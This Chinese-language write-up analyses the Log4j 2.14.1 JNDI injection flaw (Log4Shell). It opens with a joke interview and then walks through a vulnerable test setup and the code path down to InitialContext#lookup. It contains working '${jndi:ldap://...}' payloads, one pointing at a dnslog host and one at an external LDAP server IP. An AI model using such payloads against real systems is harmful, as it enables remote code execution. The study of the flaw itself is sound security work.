明天安全圈校招面试: 面试官: 请说说你会什么技能? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 面试官: 请说说你最近关注过的漏洞? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 面试官: 你平时有动手调试过吗? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 我:这dnslog是不是卡了 这面试官怎么还没rce
环境搭建
新建maven项目, pom.xml写入
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
- 在官网 https://archive.apache.org/dist/logging/log4j/ 下载log4j然后在project structure中导入
- 下载低版本java8 https://repo.huaweicloud.com/java/jdk/ 我下载的是8u181,将其作为java运行环境
写测试代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args){
logger.error("${jndi:ldap://39.105.176.37:1389/smzifq}");
}
}
漏洞调试
调试进入
调试到
然后调试到MessagePatternConverter#format
方法, 看到这里会试图匹配${
字符.并将payload字符串解析到变量value中去.
步进replace函数, 再步进substitute函数
进入下一个substitute中会看到它会匹配结尾的}
再往下就可以看到resolveVariable
方法被调用, 里面调用了lookup
方法
在lookup
方法中,会试图寻找:
,并将:
前面的部分作为prefix, 随后根据prefix来寻找类
可以看到这里规定了不同的prefix对应的类
使用的Jndi,所以使用的是JndiLookup
类,调用了JndiLookup#lookup
方法,并将:
后面的部分作为参数传入.
最后调用到了javax.naming.InitialContext#lookup
方法,server端收到请求
漏洞利用
普通的jndi注入就可以了